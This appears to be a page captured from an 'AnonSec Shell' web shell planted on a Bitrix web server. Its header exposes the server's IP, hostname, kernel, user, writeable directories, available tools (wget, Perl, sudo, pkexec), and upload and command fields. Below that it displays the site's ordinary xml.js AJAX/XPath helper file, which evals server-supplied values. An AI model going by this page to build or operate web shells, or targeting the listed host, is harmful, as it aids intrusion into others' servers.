AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 3.145.82.39
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bitrix/www/bitrix/modules/fileman/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/bitrix/www/bitrix/modules/fileman/js/xml.js
function BXXML()
{
	var pObj = this;
	var pXML;

//	try
	{
		if(window.XMLHttpRequest)
			pXML = new XMLHttpRequest();
		else
		{
			try{pXML = new ActiveXObject("Msxml2.XMLHTTP");}catch(e){}
			if(!pXML)
				pXML = new ActiveXObject("Microsoft.XMLHTTP");
		}
	}
//	catch (e){};

	if(!pXML)
	{
		alert('XMLHttp object is not found.');
		return false;
	}
	this.pXML = pXML;
	return true;
}

BXXML.prototype.Load = function(sUrl, arParams, pAsyncFunction)
{
	this.DOMDocument = false;
	var pObj = this;
	var pXML = this.pXML;
	if(pAsyncFunction)
	{
		pXML.open("POST", sUrl, true);
		pXML.onreadystatechange = function()
		{
			if(pXML.readyState == 4)
			{
				//alert(pXML.responseText);
				pObj.DOMDocument = pXML.responseXML ;
				//alert(pXML.responseXML.XML);
				pAsyncFunction(pObj);
			}
		}
		pXML.send(null);
		return true;
	}

	try
	{
		pXML.open("POST", sUrl, false);
		pXML.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");

		if(arParams)
			pXML.send(BXPHPVal(arParams));
		else
			pXML.send(null);
	}
	catch (e)
	{
		return false;
	}

	//alert(pXML+'/'+pXML.status+'/'+pXML.readyState+'/'+pXML.responseXML);
	if((pXML.status == 200 || (pXML.status == 0 && pXML.readyState==4)) && pXML.responseXML)
	{
		this.DOMDocument = pXML.responseXML;
		return true;
	}

	return false;
}

BXXML.prototype.Unserialize = function()
{
	var arRes = false;
	if(this.DOMDocument)
	{
		var oRootNodes = this.selectNodes("/params/variable");
		var oElement;
		for(var i=0; i<oRootNodes.length; i++)
		{
			oElement = oRootNodes[i];
			eval('arRes = '+oElement.getAttribute("value"));
			break;
		}
	}
	return arRes;
}

BXXML.prototype.selectNodes = function(xPath, oNode)
{
	if(this.DOMDocument.createNSResolver)
	{
		//http://kb.mozillazine.org/XMLHttpRequest
		var oNodeTemp = false;
		var arNodes = [];
		var result = this.DOMDocument.evaluate(
			xPath,
			(oNode?oNode:this.DOMDocument),
			this.DOMDocument.createNSResolver(this.DOMDocument.documentElement),
			0,
			null
			);

		if(result)
		{
	 		while((oNodeTemp = result.iterateNext()))
	 			arNodes.push(oNodeTemp);
		}

		return arNodes;
	}

	return (oNode?oNode:this.DOMDocument).selectNodes(xPath);
}

/*
FCKXml.prototype.SelectNodes = function(xpath, contextNode)
{

	var xPathResult = this.DOMDocument.evaluate( xpath, contextNode ? contextNode : this.DOMDocument, this.DOMDocument.createNSResolver(this.DOMDocument.documentElement), XPathResult.ORDERED_NODE_ITERATOR_TYPE, null);
	if(xPathResult)
	{
		var oNode = xPathResult.iterateNext() ;
 		while(oNode)
 		{
 			aNodeArray[aNodeArray.length] = oNode;
 			oNode = xPathResult.iterateNext();
 		}
	}
	return aNodeArray ;
}

FCKXml.prototype.SelectSingleNode = function(xpath, contextNode)
{
	var xPathResult = this.DOMDocument.evaluate( xpath, contextNode ? contextNode : this.DOMDocument, this.DOMDocument.createNSResolver(this.DOMDocument.documentElement), 9, null);
	if(xPathResult && xPathResult.singleNodeValue)
		return xPathResult.singleNodeValue;
	else
		return null;
}

BXXML.prototype.SelectSingleNode = function( xpath, contextNode)
{
	if (contextNode)
		return contextNode.selectSingleNode( xpath ) ;
	else
		return this.DOMDocument.selectSingleNode( xpath ) ;
}
*/

Anon7 - 2022
AnonSec Team